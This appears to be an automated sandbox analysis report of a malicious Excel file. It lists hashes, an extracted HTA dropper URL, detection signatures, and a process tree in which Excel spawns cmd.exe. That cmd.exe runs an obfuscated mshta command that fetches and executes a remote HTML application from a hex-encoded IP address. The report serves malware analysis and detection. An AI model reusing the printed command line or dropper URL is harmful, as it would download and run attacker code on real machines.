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Analysis

  • max time kernel
    133s
  • max time network
    134s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/11/2024, 21:32

General

  • Target

    eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3.xls

  • Size

    101KB

  • MD5

    066bbe43e6df1d6cdb2d416e867070b9

  • SHA1

    96298c1e926d123558879bf6ab016e87c4a0bf2a

  • SHA256

    eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3

  • SHA512

    a21679b025901211157a89afdfd6c4519df99a30afa25bcf1963a38dde11765e018a9e3e35cb7e6f9626fe73e57c73c0e228b4eb929ec547a95e4c077e1500f3

  • SSDEEP

    3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4916
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:648
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe3.html
        3⤵
        • Blocklisted process makes network request
        PID:684

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    ef716c16bc1e7c2898c42552f37499b0

    SHA1

    d44316c4bdeabccab449dd4998f937cb46738e9c

    SHA256

    5a3b713405ba29778ae330d1a715bc13139ae31ed51c9e11b7996767972fb282

    SHA512

    a69c2f08760aa88b054d4343108975148dc6842b318643d63595eca0436b01a0794dbec4acb195683aff8a6e66f651f9b47d08fc49eac8e29ed0e4ae06ce4244

  • memory/4916-15-0x00007FFCB0340000-0x00007FFCB0350000-memory.dmp

    Filesize

    64KB

  • memory/4916-16-0x00007FFCB0340000-0x00007FFCB0350000-memory.dmp

    Filesize

    64KB

  • memory/4916-4-0x00007FFCB25F0000-0x00007FFCB2600000-memory.dmp

    Filesize

    64KB

  • memory/4916-6-0x00007FFCB25F0000-0x00007FFCB2600000-memory.dmp

    Filesize

    64KB

  • memory/4916-9-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

    Filesize

    2.0MB

  • memory/4916-8-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

    Filesize

    2.0MB

  • memory/4916-13-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

    Filesize

    2.0MB

  • memory/4916-12-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

    Filesize

    2.0MB

  • memory/4916-14-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

    Filesize

    2.0MB

  • memory/4916-18-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

    Filesize

    2.0MB

  • memory/4916-2-0x00007FFCB25F0000-0x00007FFCB2600000-memory.dmp

    Filesize

    64KB

  • memory/4916-11-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

    Filesize

    2.0MB

  • memory/4916-0-0x00007FFCB25F0000-0x00007FFCB2600000-memory.dmp

    Filesize

    64KB

  • memory/4916-17-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

    Filesize

    2.0MB

  • memory/4916-10-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

    Filesize

    2.0MB

  • memory/4916-7-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

    Filesize

    2.0MB

  • memory/4916-5-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

    Filesize

    2.0MB

  • memory/4916-1-0x00007FFCF260D000-0x00007FFCF260E000-memory.dmp

    Filesize

    4KB

  • memory/4916-29-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

    Filesize

    2.0MB

  • memory/4916-30-0x00007FFCF260D000-0x00007FFCF260E000-memory.dmp

    Filesize

    4KB

  • memory/4916-31-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

    Filesize

    2.0MB

  • memory/4916-3-0x00007FFCB25F0000-0x00007FFCB2600000-memory.dmp

    Filesize

    64KB